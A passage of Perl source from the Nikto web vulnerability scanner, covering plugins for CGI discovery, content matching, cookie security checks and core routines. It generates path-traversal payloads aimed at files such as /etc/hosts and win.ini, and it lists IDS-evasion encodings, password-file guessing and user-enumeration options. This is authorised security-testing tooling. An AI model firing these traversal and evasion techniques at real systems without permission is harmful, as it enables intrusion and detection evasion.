$mark->{'ip'}, $mark->{'displayname'})); if ($res =~ /^40[135]$/ && !is_404($mark, $possiblecgidir, $response)) { $gotvalid++; push @POSSIBLECGI, $possiblecgidir; } } if ($gotvalid == 0) { nprint( "+ No CGI Directories found (use '-C all' to force check all possible dirs). CGI tests skipped." ); $VARIABLES{'@CGIDIRS'} = ""; } elsif (scalar(@CFGCGI) == scalar(@POSSIBLECGI)) { nprint("+ All CGI directories 'found', use '-C none' to test none"); $VARIABLES{'@CGIDIRS'} = join(" ", @CFGCGI); } else { $VARIABLES{'@CGIDIRS'} = join(" ", @POSSIBLECGI); } } nprint("- Checking for CGI in: $VARIABLES{'@CGIDIRS'}", "v", "cgi"); } 1; ================================================ FILE: program/plugins/nikto_content_search.plugin ================================================ ############################################################################### # SPDX-License-Identifier: GPL-3.0-only # PURPOSE: Search content for known bad strings ############################################################################### sub nikto_content_search_init { use vars qw/$CONTENTSEARCH %CSMATCHED/; my $id = { name => "content_search", full_name => "Content Search", author => "Sullo", description => "Search response content for interesting strings", hooks => { start => { method => \&nikto_content_search_load, weight => 1, }, postfetch => { method => \&nikto_content_search, weight => 20, }, }, copyright => "2010 Chris Sullo" }; return $id; } sub nikto_content_search_load { # Load up the database as soon as we can $CONTENTSEARCH = init_db("db_content_search"); %CSMATCHED = (); # to try and speed it up - precompile the regular expressions foreach my $testid (@$CONTENTSEARCH) { $testid->{'compiled'} = qr/$testid->{'matchstring'}/; } } sub nikto_content_search { my ($mark, $parameters, $request, $response) = @_; my $whisker = $response->{'whisker'}; my $body = $whisker->{'data'}; my ($file) = LW2::uri_split($whisker->{'uri'}); my $method = $whisker->{'method'} || "GET"; my $host = $mark->{'hostname'}; my $matched = ($CSMATCHED{$host} ||= {}); foreach my $testid (@$CONTENTSEARCH) { next if $matched->{$file}; # Check whether we've already matched it if ($body =~ $testid->{'compiled'}) { my @caps = grep { defined $_ } ($1, $2, $3, $4, $5, $6, $7, $8, $9); my $msg = process_captured_groups($testid->{'message'}, \@caps); my $outmessage = "$file: $msg"; add_vulnerability($mark, $outmessage, $testid->{'nikto_id'}, $testid->{'refs'}, $method, $file, $request, $response); $matched->{$file} = 1; } } return $request, $response; } 1; ================================================ FILE: program/plugins/nikto_cookies.plugin ================================================ ############################################################################### # SPDX-License-Identifier: GPL-3.0-only # PURPOSE: General HTTP cookie checks ############################################################################### sub nikto_cookies_init { my $id = { name => "cookies", full_name => "HTTP Cookie Internal IP", author => "Sullo", description => "Looks for internal IP addresses in cookies returned from an HTTP request.", hooks => { postfetch => { method => \&nikto_cookies_postfetch, }, }, copyright => "2010 Chris Sullo" }; # Store cookies to ensure we don't report multiple times. my %CFOUND; return $id; } sub nikto_cookies_postfetch { my ($mark, $parameters, $request, $response) = @_; if (!exists $response->{'set-cookie'}) { return $request, $response; } foreach my $c (@{ $response->{'whisker'}->{'cookies'} }) { my $c2 = $c; $c =~ /([^=]+)+=([^;]+)/; my $cname = $1; my $cvalue = $2; next if (defined $CFOUND{$cname}{ $mark->{hostname} }); # secure flag if ($c !~ /secure/i && $mark->{ssl}) { add_vulnerability($mark, $request->{'whisker'}->{'uri'} . ": Cookie $cname created without the secure flag", 999961, "https://developer.mozilla.org/en-US/docs/Web/HTTP/Cookies", $request->{'whisker'}->{'method'}, $request->{'whisker'}->{'uri'}, $request, $response ); } # httponly flag if ($c !~ /httponly/i) { add_vulnerability($mark, $request->{'whisker'}->{'uri'} . ": Cookie $cname created without the httponly flag", 000137, "https://developer.mozilla.org/en-US/docs/Web/HTTP/Cookies", $request->{'whisker'}->{'method'}, $request->{'whisker'}->{'uri'}, $request, $response ); } my @ips = get_ips($c); if (substr($cname, 0, 4) eq 'NSC_') { push(@ips, decode_netscaler_cookie($cvalue)); } foreach my $ip (@ips) { # This often contains an IP-like string if ($ip eq '1.0.1.1' && $cname eq '__cf_bm') { next; } my ($valid, $internal, $loopback) = is_ip($ip); if ($valid && !$loopback) { if ($ip ne $mark->{'ip'}) { my $msg = ""; my $refs = ""; if ($cname eq 'ARPT') { $msg = "Cisco content switch reveals internal IP address found in the '$cname' cookie. The IP is \"$ip\"."; $refs = "CVE-2006-4352"; } else { # is it an internal, or just different? my $int; if ($internal) { $int = "RFC-1918 "; } $msg = $request->{'whisker'}->{'uri'} . ": ${int}IP address found in the '$cname' cookie. The IP is \"$ip\"."; } add_vulnerability($mark, $msg, 999991, $refs, $request->{'whisker'}->{'method'}, $request->{'whisker'}->{'uri'}, $request, $response); } } } $CFOUND{$cname}{ $mark->{hostname} } = 1; } } sub decode_netscaler_cookie { my ($cookie_val) = @_; $cookie_val =~ /[0-9a-f]{8}([0-9a-f]{8}).*([0-9a-f]{4})$/; my $ip_value = hex($1) ^ 0x03081e11; my $port_value = hex($2) ^ 0x3630; $ip_hex_str = sprintf("0x%X", $ip_value); $ip_hex_zero_pad = sprintf("%08s", substr($ip_hex_str, 2, 8)); return hex('0x' . substr($ip_hex_zero_pad, 0, 2)) . "." . hex('0x' . substr($ip_hex_zero_pad, 2, 2)) . "." . hex('0x' . substr($ip_hex_zero_pad, 4, 2)) . "." . hex('0x' . substr($ip_hex_zero_pad, 6, 2)); } 1; ================================================ FILE: program/plugins/nikto_core.plugin ================================================ ############################################################################### # SPDX-License-Identifier: GPL-3.0-only # PURPOSE: Nikto core functionality ############################################################################### sub change_variables { my ($line, $mark, $checkid, $skip_lfi) = @_; # If no mark provided, use global mark $mark = $mark || $::mark; # If no variables to expand, check for LFI before returning my $at_index = index($line, '@'); if ($at_index == -1) { return ($line); } # Use cached $shname for efficiency my $shname = $mark->{'hostname'} || $mark->{'ip'}; my @subtests; # Replace JUNK(n) with random string $line =~ s/\@JUNK\((\d+)\)/LW2::utils_randstr($1)/e; # Replace static variables $line =~ s/\@IP/$mark->{'ip'}/g; $line =~ s/\@HOSTNAME/$shname/g; # Phase 1: Expand all non-LFI variables recursively # Keep expanding until no more non-LFI variables remain if (index($line, '@') == -1) { push @subtests, $line; } else { # Check for non-LFI variables and expand them my $found_variable = 0; foreach my $varname (keys %VARIABLES) { next if $varname =~ /^\@LFI/; next unless index($line, $varname) != -1; if ($line =~ /\Q$varname\E/) { # Expand this variable: split by whitespace and recursively process each value foreach my $value (split(/\s+/, $VARIABLES{$varname})) { my $cooked = $line; $cooked =~ s/\Q$varname\E/$value/g; # Recursively expand variables in the cooked line (skip LFI processing in recursive calls) my @expanded = change_variables($cooked, $mark, $checkid, 1); push @subtests, @expanded; } $found_variable = 1; last; # Break out of foreach loop after handling first variable found } } if (!$found_variable) { push(@subtests, $line); } } # Phase 2: Handle LFI (only if not skipping) if ($skip_lfi) { # In recursive call, just return the subtests without processing LFI return @subtests; } # Now that other expansions are done, handle LFI my @tests; foreach my $subtest (@subtests) { if ($subtest =~ /\@LFI\(([^)]*)\)/) { my $args = $1 || ''; my @temp_tests = lfi_function($subtest, $args, $checkid, $mark); push @tests, @temp_tests; } else { push @tests, $subtest; } } return @tests; } sub lfi_function { my ($test, $args, $checkid, $mark) = @_; my @options = split(/,/, $args); my @lfitests; # Get detected/forced platform (default to 'all' if not set) my $detected_platform = ($mark && $mark->{'platform'}) ? $mark->{'platform'} : 'all'; # Determine platform and path settings from test options my $is_nix = grep(/nix/i, @options); my $is_win = grep(/win/i, @options); my $use_url = grep(/url/i, @options); my $use_abs = grep(/abs/i, @options); # Determine which platforms to generate tests for my @platforms; my $test_specifies_platform = ($is_nix || $is_win); if ($test_specifies_platform) { # Test explicitly specifies platform(s) # Only run if platform matches or platform is 'all' if ($detected_platform eq 'all') { # Platform is 'all' - respect test's specification if ($is_nix && !$is_win) { push @platforms, 'nix'; } elsif ($is_win && !$is_nix) { push @platforms, 'win'; } else { # Both specified in test - generate both push @platforms, 'nix', 'win'; } } elsif ( ($is_nix && $detected_platform eq 'nix') || ($is_win && $detected_platform eq 'win')) { # Platform matches test specification - use test's choice if ($is_nix && !$is_win) { push @platforms, 'nix'; } elsif ($is_win && !$is_nix) { push @platforms, 'win'; } else { # Both specified in test - but only one matches platform push @platforms, $detected_platform; } } else { # Platform doesn't match test specification - return empty (no tests) return @lfitests; # Return empty array } } else { # Test doesn't specify platform - use detected platform if ($detected_platform eq 'all') { push @platforms, 'nix', 'win'; } elsif ($detected_platform eq 'nix') { push @platforms, 'nix'; } elsif ($detected_platform eq 'win') { push @platforms, 'win'; } else { # Unknown platform, default to both push @platforms, 'nix', 'win'; } } # Get depth (same for both platforms) my $depth = $VARIABLES{'@LFIDEPTH'} || 5; $depth =~ s/^\s+|\s+$//g; $depth = int($depth) if $depth =~ /^\s*\d+\s*$/; $depth = 5 if $depth < 1 || $depth > 20; # Sanity check # Generate tests for each platform foreach my $platform (@platforms) { my $is_nix_platform = ($platform eq 'nix'); # Get LFI variables (trim whitespace) my $target = $is_nix_platform ? ($VARIABLES{'@LFITGTNIX'} || '/etc/hosts') : ($VARIABLES{'@LFITGTWIN'} || '\\Windows\\win.ini'); $target =~ s/^\s+|\s+$//g; # Build the full path my $full_path; if ($use_abs) { # 'abs' means skip traversal, use absolute path directly $full_path = $target; # Ensure it starts with / for nix or \ for win if ($is_nix_platform) { $full_path = '/' . $full_path unless $full_path =~ /^\//; } else { # For Windows, ensure it starts with \ (unless it has a drive letter) $full_path = '\\' . $full_path unless $full_path =~ /^[A-Za-z]:|^\\/; } } else { # Build traversal sequence my $path = $is_nix_platform ? ($VARIABLES{'@LFIPATHNIX'} || '../') : ($VARIABLES{'@LFIPATHWIN'} || '..\\'); $path =~ s/^\s+|\s+$//g; my $traversal = $path x $depth; # Fix double slash if test is exactly @LFI(...) if ($test =~ /^\@LFI\([^)]*\)$/) { # Remove trailing / from traversal or leading / from target to avoid // if ($is_nix_platform && $traversal =~ /\/$/ && $target =~ /^\//) { $traversal =~ s/\/$//; } elsif (!$is_nix_platform && $traversal =~ /\\$/ && $target =~ /^\\/) { $traversal =~ s/\\$//; } } $full_path = $traversal . $target; } # Apply URL encoding if requested (do this after absolute path handling) if ($use_url) { $full_path =~ s/([^A-Za-z0-9])/sprintf("%%%02X", ord($1))/seg; } # Replace @LFI(...) in the test string with the generated path my $expanded_test = $test; $expanded_test =~ s/\@LFI\([^)]*\)/$full_path/g; push @lfitests, $expanded_test; } return @lfitests; } ############################################################################### sub unslash { my $line = $_[0] || return; # $line is the slash-escaped variable # Early return for empty strings return $line if $line eq ''; # Use a single regex with eval to handle all escape sequences at once $line =~ s/\\([abefnrt])|\\x([[:xdigit:]]{2})/defined($1) ? eval("qq{\\$1}") : chr(hex($2))/ge; return $line; } ############################################################################### sub is_404 { my ($mark, $uri, $response) = @_; return 0 unless defined $uri; return 0 unless defined $mark; return 0 unless defined $response; my $debug_404 = 0; my $code = $response->{'whisker'}{'code'}; if ($debug_404) { print "--------------------------------\n"; print "404: URI is: $uri\n"; print "404: URI code is: $code\n"; } # Check user-specified error codes first (highest priority) if (defined $VARIABLES{'ERRCODES'} && ref($VARIABLES{'ERRCODES'}) eq 'HASH') { if (exists $VARIABLES{'ERRCODES'}->{$code}) { print "404: 1\n" if $debug_404; return 1; } } # Check user-specified error strings (second priority, before expensive checks) if (defined $VARIABLES{'ERRSTRINGS'} && ref($VARIABLES{'ERRSTRINGS'}) eq 'HASH') { foreach my $pattern (keys %{ $VARIABLES{'ERRSTRINGS'} }) { if ($response->{'content'} =~ /$pattern/) { print "404: 2\n" if $debug_404; return 1; } } } # Trust 404, 406, and 410 codes if ($code =~ /^40[46]$/ || $code eq '410') { print "404: 3\n" if $debug_404; return 1; } # remove and capture the query string my $query_string = ""; if ($uri =~ /\?(.*)$/) { $query_string = $1; $uri =~ s/\?(.*)$//; } my @uri_parts = split("/", $uri); # If we don't have a real path (probably /) just return 0 # Filter out empty URI, just "/", or all empty parts if ($uri eq "" || $uri eq "/" || (scalar(@uri_parts) > 0 && !grep { $_ ne "" } @uri_parts)) { return 0; } my $ext = get_ext($uri); # Build base path (all parts except the last one) my @base_parts = @uri_parts; pop @base_parts if scalar(@base_parts) > 0; my $base_path = join("/", @base_parts); # Ensure base_path ends with / if it's not empty (for proper path construction) if ($base_path ne "" && $base_path ne "/") { $base_path .= "/"; } elsif ($base_path eq "") { $base_path = "/"; } # Determine the suffix pattern based on extension type my $suffix_pattern = ""; if ($ext eq "DIRECTORY") { $suffix_pattern = "/"; } elsif ($ext eq "DOTFILE") { $base_path .= "."; } elsif ($ext eq "NONE") { } else { $suffix_pattern = "." . $ext; } # Build cache key using "RAND" placeholder my $cache_key = $base_path . "RAND" . $suffix_pattern; # Check cache before making request my $cached_entry = $mark->{'nf_cache'}{$cache_key}; my ($err_res, $err_content, $err_error, $err_request, $err_response); if (defined $cached_entry) { print "404: Cached Entry\n" if $debug_404; # Use cached response data $err_res = $cached_entry->{'code'}; $err_content = ""; # Content not cached $err_error = ""; $err_request = {}; $err_response = { 'code' => $cached_entry->{'code'}, 'location' => exists $cached_entry->{'location'} ? $cached_entry->{'location'} : '' }; } else { print "404: No Cached Entry\n" if $debug_404; # Build nf_path by replacing "RAND" with actual random string my $rand_str = LW2::utils_randstr(8); my $nf_path = $base_path . $rand_str . $suffix_pattern; $nf_path .= "?" . $query_string if $query_string ne ""; ($err_res, $err_content, $err_error, $err_request, $err_response) = nfetch($mark, $nf_path, "GET", "", "", "", "is_404"); # Determine mode, type, match, and location my %response_map = (200 => "OK", 300 => "REDIR", 301 => "REDIR", 302 => "REDIR", 303 => "REDIR", 307 => "REDIR", 401 => "STD", 403 => "STD", 404 => "STD", 406 => "STD", 410 => "STD" ); my $mode = $response_map{$err_res} || "OTHER"; my $cache_entry = { 'code' => $err_res, 'mode' => $mode }; print "404: $nf_path returned code: $err_res\n" if $debug_404; print "404: mode is: $mode\n" if $debug_404; # Handle redirects - store location if present if ($err_response && $err_response->{'location'} ne '') { $cache_entry->{'location'} = get_base_host($err_response->{'location'}); } # Only determine type for OK/OTHER modes (STD and REDIR don't need type) if ($mode eq "OK" || $mode eq "OTHER") { if (length($err_content) == 0) { print "404: Type is BLANK\n" if $debug_404; $cache_entry->{'type'} = "BLANK"; $cache_entry->{'match'} = ""; } else { print "404: Type is HASH\n" if $debug_404; $cache_entry->{'type'} = "HASH"; $cache_entry->{'match'} = LW2::md5(rm_active_content($err_content, $nf_path)); print "404: Match is: $cache_entry->{'match'}\n" if $debug_404; } } # Store in cache $mark->{'nf_cache'}{$cache_key} = $cache_entry; } # Now determine if the actual response matches the "not found" pattern # Get the cached entry (should always be defined at this point) my $nf_entry = $mark->{'nf_cache'}{$cache_key}; return 0 unless defined $nf_entry; my $nf_mode = $nf_entry->{'mode'}; my $actual_code = $response->{'whisker'}{'code'}; # From the actual response being checked my $actual_content = $response->{'whisker'}{'data'} || ""; my $actual_location = $response->{'location'} || ""; # Check STD mode first (most common case - fastest check) if ($nf_mode eq "STD") { if ($actual_code =~ /^4\d\d$/) { print "404: 4\n" if $debug_404; return 1; } return 0; } # Check REDIR mode if ($nf_mode eq "REDIR") { if ($actual_location ne '' && exists $nf_entry->{'location'}) { my $actual_base = get_base_host($actual_location); if ($actual_base eq $nf_entry->{'location'}) { print "404: 5\n" if $debug_404; return 1; } } return 0; } # Check BLANK type (for OK/OTHER modes) if (exists $nf_entry->{'type'} && $nf_entry->{'type'} eq "BLANK") { if (length($actual_content) == 0) { print "404: 6\n" if $debug_404; return 1; } return 0; } # Check HASH type (most expensive, check last) if (exists $nf_entry->{'type'} && $nf_entry->{'type'} eq "HASH") { print "404: Checking HASH type\n" if $debug_404; print "404: nf_entry hash is: $nf_entry->{'match'}\n" if $debug_404; if (exists $nf_entry->{'match'} && $nf_entry->{'match'} ne '') { print "404: in exists\n" if $debug_404; if (length($actual_content) > 0) { print "404: length is > 0\n" if $debug_404; my $clean_content = rm_active_content($actual_content, $uri); print "404: Hash comparison is: \n" if $debug_404; print " " . LW2::md5($clean_content) . "\n" if $debug_404; print " " . $nf_entry->{'match'} . "\n" if $debug_404; if (LW2::md5($clean_content) eq $nf_entry->{'match'}) { print "404: 7\n" if $debug_404; return 1; } } else { print "length is 0\n" if $debug_404; } } print "404: 8\n" if $debug_404; return 0; } # If we get here, the cached entry doesn't match any known pattern print "404: 9\n" if $debug_404; return 0; } ############################################################################### sub scrub { # line to scrub my $line = shift; for my $val (@_) { next if $val eq ""; # Create a copy to avoid modifying read-only values my $val_copy = $val; # remove IPv6 brackets if present $val_copy =~ s/^\[([^\]]+)\]$/$1/; $val_copy = validate_and_fix_regex($val_copy); my ($validip, $internal, $loopback) = is_ip($val_copy); if ($validip) { if ($val_copy =~ /^$LW2::IPv6_re$/) { $line =~ s/$val_copy/\:\:/g; } else { $line =~ s/$val_copy/0.0.0.0/g; } } else { $line =~ s/$val_copy/example.com/ig; } } return $line; } ############################################################################### sub nprint { my ($line, $mode, $testid) = @_; chomp($line); # Deferred output? if ($VARIABLES{'deferout'}) { push @{ $VARIABLES{'defertxt'} }, $mode . "::" . ($testid // '') . "::" . $line; return; } # scrub values - only pass scrub values (everything after $line and $mode) if ($OUTPUT{'scrub'}) { my @scrub_values = @_[ 3 .. $#_ ]; $line = scrub($line, @scrub_values); } # don't print debug & verbose to output file... if ($mode ne '') { my %output_flags = ('d' => 'debug', 'v' => 'verbose', 'e' => 'errors'); if (exists $output_flags{$mode} && $OUTPUT{ $output_flags{$mode} }) { my $prefix = $mode eq 'd' ? "D:" : $mode eq 'v' ? "V:" : "E:"; my $output = $mode eq 'd' ? \*STDERR : \*STDOUT; my $testid_str = defined $testid ? "[$testid]" : "[000000]"; print $output $prefix . localtime() . " $testid_str - $line\n"; } return; } # print errors to STDERR if ($line =~ /^\t?\+ ERROR:/) { print STDERR "$line\n"; return; } # don't print to STDOUT if output file is "-" return if defined $CLI{'file'} && $CLI{'file'} eq "-"; $line =~ s/(CVE\-[12][0-9]{3}-[0-9]{4,5})/https:\/\/cve.mitre.org\/cgi-bin\/cvename.cgi?name\=$1/g; $line =~ s/(CA\-[12][0-9]{3}-[0-9]{2})/https:\/\/www.cert.org\/advisories\/$1.html/g; $line =~ s/(MS([0-9]{2})\-[0-9]{3})/https\:\/\/docs\.microsoft\.com\/en-us\/security-updates\/securitybulletins\/20$2\/$1/gi; print $line . "\n"; return; } ############################################################################### sub get_ext { my $uri = $_[0] || return; return "DIRECTORY" if $uri =~ /\/$/; $uri =~ s/^.*\///; return "DOTFILE" if $uri =~ /^\.[^.%]/; $uri =~ s/[?&%;\|].*$//; return "NONE" if index($uri, '.') == -1; $uri =~ s/\@[A-Z]+(\([^\)]*\))?//; # remove variables and functions $uri =~ s/".*$//; $uri =~ s/^.*\.//; return $uri; } ############################################################################### sub status_report { my ($mark) = shift; my $line; # without this we could face a div by 0 error if ( $COUNTERS{'totalrequests'} eq 0 || $COUNTERS{'total_checks'} eq 0 || $COUNTERS{'total_targets'} eq 0) { nprint("- STATUS: Starting up!"); return; } my $secleft = ((time() - $COUNTERS{'scan_start'}) / $COUNTERS{'totalrequests'}) * (($COUNTERS{'total_checks'} * $COUNTERS{'total_targets'}) - $COUNTERS{'totalrequests'}); my $timeleft; if ($secleft > 60) { my $minleft = $secleft / 60; $timeleft = sprintf("%.1f minutes", $minleft); if ($minleft > 60) { my $hrsleft = $minleft / 60; $timeleft = sprintf("%.1f hours", $hrsleft); } } else { $timeleft = sprintf("%.0f seconds", $secleft); } my $perc_compl = ($COUNTERS{'totalrequests'} / ($COUNTERS{'total_checks'} * $COUNTERS{'total_targets'}) * 100); $line = "- STATUS: Completed $COUNTERS{'totalrequests'} requests"; if ($COUNTERS{'total_targets'} > 1) { $line .= " (target " . ($COUNTERS{'hosts_completed'} + 1) . "/$COUNTERS{'total_targets'})"; } if (($perc_compl < 100) && ($secleft > 0)) { $line .= sprintf(" (~%.0f%% complete, ~$timeleft left)", $perc_compl); } if ($NIKTO{'current_plugin'} ne '') { $line .= ": currently in plugin '$NIKTO{'current_plugin'}'"; } nprint($line); nprint("- STATUS: " . running_average_print($mark)); return; } ############################################################################### sub date_disp { my $t = $_[0] || return; my @time = localtime($t); my $result = sprintf("%d-%02d-%02d %02d:%02d:%02d", $time[5] + 1900, $time[4] + 1, $time[3], $time[2], $time[1], $time[0]); return $result; } ############################################################################### sub get_base_host { my $uri = $_[0] || return; # uri, protocol, host, port, params, frag, user, password. my @hd = LW2::uri_split($uri); my $base = $hd[1] . "://" . $hd[2]; if (($hd[3] != 80) && ($hd[3] != 443)) { $base .= ":" . $hd[3]; } $base .= "/"; return $base; } ############################################################################### sub rm_active_content { # Try to remove active content which could mess up the file's signature my ($cont, $file) = @_; return "" if (length($cont) == 0); # Dates/Times $cont =~ s/[12]\d{3}[-.\/][1-3]?\d[-.\/][1-3]?\d//g; # 2001-12-12 $cont =~ s/[1-3]?\d[-.\/][1-3]?\d\d[-.\/][12]\d{3}//g; # 12-12-2002 $cont =~ s/\d{8,14}//g; # timestamp $cont =~ s/\d{6}//g; # timestamp $cont =~ s/\d{2}:\d{2}(?::\d{2})?//g; # 12:11:33 $cont =~ s/(?:mon|tue|wed|thu|fri|sat|sun)(?:day)?,? [1-3]?[0-9] (?:jan|feb|mar|apr|may|jun|jul|aug|sep|oct|nov|dec)//ig; $cont =~ s/[12][0-9]{3}\s?(?:jan|feb|mar|apr|may|jun|jul|aug|sep|oct|nov|dec)\s?[1-3]?[0-9]//gi ; # 2009 jan 29 $cont =~ s/[1-3]?[0-9]\s?(?:jan|feb|mar|apr|may|jun|jul|aug|sep|oct|nov|dec)[, ]?(?:[12][0-9]{3})?//gi ; # 29 Jan 2009 $cont =~ s/[\d.]+ (?:second|queries)//gi; # page load time # URI, if provided, plus encoded versions of it # $_[1] has unescaped file name, and $file has escaped. use appropriate one! if ($file ne '') { $file = quotemeta($file); $cont =~ s/$file//g; # base 64 my $e = LW2::encode_base64($_[1]); $cont =~ s/$e//gs; # hex encoded $e = LW2::encode_uri_hex($_[1]); $cont =~ s/$e//gs; # unicode encoded $e = LW2::encode_unicode($_[1]); $e = quotemeta($e); $cont =~ s/$e//gs; # url encoding, full url $e = $_[1]; $e =~ s/([^A-Za-z0-9])/sprintf("%%%02X", ord($1))/seg; $cont =~ s/$e//gs; # url encoding, query portion if ($file =~ /\?(.*$)/) { my $qs = $1; # match pages which link to themselves w/diff args $cont =~ s/$qs//gs; # url encoded $qs =~ s/([^A-Za-z0-9])/sprintf("%%%02X", ord($1))/seg; $cont =~ s/$qs//gs; } } return $cont; } ############################################################################### sub dump_target_info { my ($mark) = @_; my $sslprint = ""; if ($mark->{ssl}) { $sslprint = "$VARIABLES{'DIV'}\n"; $sslprint .= "+ SSL Info: Subject: $mark->{'ssl_cert_subject'}\n"; # Extract and display CN separately my $cn = ''; if ($mark->{'ssl_cert_subject'} =~ /CN=([^$ \/]+)/) { $cn = $1; $sslprint .= " CN: $cn\n"; } # Display SAN if present if ($mark->{'ssl_cert_altnames'} ne '') { $sslprint .= " SAN: $mark->{'ssl_cert_altnames'}\n"; } $sslprint .= " Ciphers: $mark->{'ssl_cipher'}\n"; $sslprint .= " Issuer: $mark->{'ssl_cert_issuer'}"; } if ($CLI{'plugins'} ne '@@NONE') { if ($mark->{ip} =~ /^$LW2::IPv4_re$/ || $mark->{ip} =~ /^$LW2::IPv6_re_inc_zoneid$/) { nprint("+ Target IP: $mark->{ip}", "", ($mark->{'ip'})); } else { nprint("+ Target IP: (proxied)", "", ($mark->{'ip'})); } nprint("+ Target Hostname: $mark->{hostname}", "", ($mark->{'hostname'}, $mark->{'ip'}, $mark->{'displayname'})); nprint("+ Target Port: $mark->{port}"); if (defined $CLI{'root'}) { nprint("+ Target Path: $CLI{'root'}", "", ($mark->{'hostname'}, $mark->{'ip'}, $mark->{'displayname'})); } if ((defined $CLI{'vhost'}) && ($CLI{'vhost'} ne $mark->{hostname})) { nprint("+ Virtual Host: $CLI{'vhost'}", "", ($mark->{'hostname'}, $mark->{'ip'}, $mark->{'displayname'})); } if ($request{'whisker'}->{'proxy_host'} ne '') { nprint( "+ Proxy: $request{'whisker'}->{'proxy_host'}:$request{'whisker'}->{'proxy_port'}", "", ($mark->{'hostname'}, $mark->{'ip'}, $mark->{'displayname'}) ); } if ($mark->{ssl}) { nprint($sslprint, "", ($mark->{'hostname'}, $mark->{'ip'}, $mark->{'displayname'})); } if (defined $NIKTO{'anti_ids'} && defined $CLI{'evasion'}) { for (my $i = 1 ; $i <= (keys %{ $NIKTO{'anti_ids'} }) ; $i++) { if ($CLI{'evasion'} =~ /$i/) { nprint("+ Using Encoding: $NIKTO{'anti_ids'}{$i}"); } } } if (defined $NIKTO{'mutate_opts'} && defined $CLI{'mutate'}) { for (my $i = 1 ; $i <= (keys %{ $NIKTO{'mutate_opts'} }) ; $i++) { if ($CLI{'mutate'} =~ /$i/) { nprint("+ Using Mutation: $NIKTO{'mutate_opts'}{$i}"); } } } if (defined $mark->{'messages'}) { my @msgs = @{ $mark->{'messages'} }; foreach my $m (@msgs) { nprint("+ Message: $m", "", ($mark->{'hostname'}, $mark->{'ip'}, $mark->{'displayname'})); } } if (defined $mark->{'platform'}) { my %platform_names = ('nix' => 'Linux/Unix', 'win' => 'Windows', 'all' => 'Unknown' ); my $platform_display = $platform_names{ $mark->{'platform'} } || $mark->{'platform'}; nprint("+ Platform: $platform_display"); } my $time = date_disp($mark->{start_time}); nprint("+ Start Time: $time (GMT$VARIABLES{'GMTOFFSET'})"); nprint($VARIABLES{'DIV'}); } if ($mark->{banner} ne "") { nprint("+ Server: $mark->{banner}", "", ($mark->{'hostname'}, $mark->{'ip'}, $mark->{'displayname'})); } else { nprint("+ Server: No banner retrieved"); } return; } ############################################################################### sub general_config { ## gotta set these first $| = 1; # internal array, this should never be used outside this sub my @options; # This is used in dump_target_info(), not just help output $NIKTO{'anti_ids'}{'1'} = "Random URI encoding (non-UTF8)"; $NIKTO{'anti_ids'}{'2'} = "Directory self-reference (/./)"; $NIKTO{'anti_ids'}{'3'} = "Premature URL ending"; $NIKTO{'anti_ids'}{'4'} = "Prepend long random string"; $NIKTO{'anti_ids'}{'5'} = "Fake parameter"; $NIKTO{'anti_ids'}{'6'} = "TAB as request spacer"; $NIKTO{'anti_ids'}{'7'} = "Change the case of the URL"; $NIKTO{'anti_ids'}{'8'} = "Use Windows directory separator (\\)"; $NIKTO{'anti_ids'}{'A'} = "Use a carriage return (0x0d) as a request spacer"; $NIKTO{'anti_ids'}{'B'} = "Use binary value 0x0b as a request spacer"; # This is used in dump_target_info(), not just help output $NIKTO{'mutate_opts'}{'1'} = "Test all files with all root directories"; $NIKTO{'mutate_opts'}{'2'} = "Guess for password file names"; $NIKTO{'mutate_opts'}{'3'} = "Enumerate user names via Apache (/~user type requests)"; $NIKTO{'mutate_opts'}{'4'} = "Enumerate user names via cgiwrap (/cgi-bin/cgiwrap/~user type requests)"; $NIKTO{'mutate_opts'}{'6'} = "Attempt to guess directory names from the supplied dictionary file"; ### CLI STUFF $CLI{'pause'} = $CLI{'html'} = $OUTPUT{'verbose'} = $CLI{'skiplookup'} = $COUNTERS{'totalrequests'} = $OUTPUT{'debug'} = $OUTPUT{'scrub'} = $OUTPUT{'errors'} = 0; $CLI{'all_options'} = join(" ", @ARGV); $CLI{'all_options'} =~ s/(\-id?\s[^\s:]+:)[^\s]+/$1****/i; GetOptions("ask=s" => \$CLI{'ask'}, "Add-header=s" => \@{ $CLI{'headers'} }, "check6" => \$CLI{'check6'}, "Cgidirs=s" => \$CLI{'forcecgi'}, "config=s" => \$CLI{'config'}, "dbcheck" => \&check_dbs, "Display=s" => \$CLI{'display'}, "evasion=s" => \$CLI{'evasion'}, "followredirects" => \$CLI{'followredirects'}, "Format=s" => \$CLI{'format'}, "Help" => \&usage, "host=s" => \$CLI{'host'}, "id=s" => \$CLI{'hostauth'}, "key=s" => \$CLI{'key'}, "list-plugins" => \&list_plugins, "maxtime=s" => \$CLI{'maxtime'}, "mutate-options=s" => \$CLI{'mutate-options'}, "mutate=s" => \$CLI{'mutate'}, "nointeractive" => \$CLI{'nointeractive'}, "nolookup" => \$CLI{'skiplookup'}, "nossl" => \$CLI{'nossl'}, "Option=s" => \@options, "output=s" => \$CLI{'file'}, "Pause=f" => \$CLI{'pause'}, "Plugins=s" => \$CLI{'plugins'}, "Platform=s" => \$CLI{'platform'}, "RSAcert=s" => \$CLI{'cert'}, "port=s" => \$CLI{'ports'}, "root=s" => \$CLI{'root'}, "ssl" => \$CLI{'ssl'}, "noslash" => \$CLI{'noslash'}, "Save=s" => \$CLI{'saveresults'}, "timeout=i" => \$CLI{'timeout'}, "Tuning=s" => \$CLI{'tuning'}, "Userdbs:s" => \$CLI{'userdbs'}, "nocheck" => \$CLI{'nocheck'}, "nocookies" => \$CLI{'nocookies'}, "useproxy:s" => \$CLI{'useproxy'}, "useragent=s" => \$CLI{'useragent'}, "url=s" => \$CLI{'host'}, "Version" => \&version, "vhost=s" => \$CLI{'vhost'}, "404string=s" => \$CLI{'404string'}, "404code=s" => \$CLI{'404code'}, "ipv6" => \$CLI{'ipv6'}, "ipv4" => \$CLI{'ipv4'}, ) or usage(); # Validate that -followredirects doesn't have an argument, a common confusion with -Format if ($CLI{'followredirects'}) { if ($CLI{'all_options'} =~ /\-f(ollowredirects)?\s+[^-]/) { nprint( "+ ERROR: -f (-followredirects) does not accept arguments. Use -F for output format (e.g., -F html)" ); exit 1; } } # Run a test for IPv6 connectivity if ($CLI{'check6'}) { check_ipv6(); } # both -host and -url if (($CLI{'host'} ne '') && ($CLI{'url'} ne '')) { nprint("+ ERROR: Cannot use -url and -host at the same time"); exit 1; } # -ipv4 and -ipv6 validations if ($CLI{'ipv4'} && $CLI{'ipv6'}) { nprint("+ ERROR: Cannot use -ipv4 and -ipv6 at the same time"); exit 1; } if ($CLI{'ipv6'}) { 